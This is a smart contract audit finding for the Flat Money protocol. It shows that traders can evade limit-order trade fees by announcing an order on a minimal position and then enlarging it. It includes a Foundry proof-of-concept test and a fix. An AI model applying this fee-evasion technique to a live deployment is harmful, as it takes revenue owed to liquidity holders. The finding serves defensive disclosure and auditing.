Users can avoid paying trade fees on limit orders

Summary

In Flat Money, trade fees are a core incentive to to maintain a delta-neutral position for UNIT holders. These fees are collected when leveraged traders take any action regarding the position, however, a malicious trader can completely avoid paying the trade fee on limit orders.

Vulnerability Detail

The current mechanism computes the trade fee at the moment a limit order is announced. The fee, typically set at 0.1%, is based on the additional size of the trader's position at the time of announcement:

    function announceLimitOrder(uint256 tokenId, uint256 priceLowerThreshold, uint256 priceUpperThreshold) external {
        // ...

>>      uint256 tradeFee = ILeverageModule(vault.moduleAddress(FlatcoinModuleKeys._LEVERAGE_MODULE_KEY)).getTradeFee(
            vault.getPosition(tokenId).additionalSize
        );

        // ...
    }

Traders can evade this fee through a simple strategy:

Initiate a position with the least possible margin and position size.
Place a limit order for this minimal position.
Modify the original position to the desired higher margin and size.

This sequence of actions results in a nominal fee at the time of order placement, effectively sidestepping the intended comprehensive trade fee.

Impact

This loophole allows traders to circumvent trade fees on limit orders, posing a significant challenge. These fees play a crucial role in encouraging UNIT holders to maintain a balanced position, and their evasion undermines the system's foundational incentives.

Proof of Concept

The vulnerability can be demonstrated through the following test script added to LimitOrder.t.sol, executable via the command: forge test --match-test test_avoid_trade_fee.

function test_avoid_trade_fee() public {
    // Set trade fee to 1%
    vm.prank(admin);
    leverageModProxy.setLevTradingFee(0.01e18);

    // Create minimum leverage position
    uint256 aliceTokenId = announceAndExecuteLeverageOpen({
        traderAccount: alice,
        keeperAccount: keeper,
        margin: 0.05e18,
        additionalSize: 0.5e18,
        oraclePrice: 1000e8,
        keeperFeeAmount: 0
    });

    // Create limit order
    vm.prank(alice);
    limitOrderProxy.announceLimitOrder({
        tokenId: aliceTokenId,
        priceLowerThreshold: 900e8,
        priceUpperThreshold: 1100e8
    });

    bytes memory orderData = limitOrderProxy.getLimitOrder(aliceTokenId).orderData;
    FlatcoinStructs.LimitClose memory limitOrder = abi.decode(orderData,(FlatcoinStructs.LimitClose));

    assertEq(limitOrder.tradeFee, 0.5e18 * 0.01e18 / 1e18); // Trade fee is 1% of 0.5e18 (the minimum additional size)

    // Now, adjust the position to a bigger size
    announceAndExecuteLeverageAdjust({
        tokenId: aliceTokenId,
        traderAccount: alice,
        keeperAccount: keeper,
        marginAdjustment: 5e18,
        additionalSizeAdjustment: 50e18,
        oraclePrice: 1000e8,
        keeperFeeAmount: 0
    });

    // Now, Alice has a limit position with a trade fee way smaller than 1% of the position size
    // Therefore, Alice has successfully avoided the trade fee
    // The fee should be recalculated based on the current additional size at the time of execution
}

Code Snippet

https://github.com/sherlock-audit/2023-12-flatmoney/blob/main/flatcoin-v1/src/LimitOrder.sol#L62-L64

Tool used

Manual Review

Recommendation

To address this vulnerability, it is advisable to recalibrate the trade fee at the moment the limit order is executed, rather than at the initial announcement. This change ensures the fee accurately reflects the trader's position size at the point of trade execution, thereby closing the loophole for fee evasion.

Duplicate of #212

sherlock-admin commented 8 months ago

1 comment(s) were left on this issue during the judging contest.

takarez commented:

valid: high(11)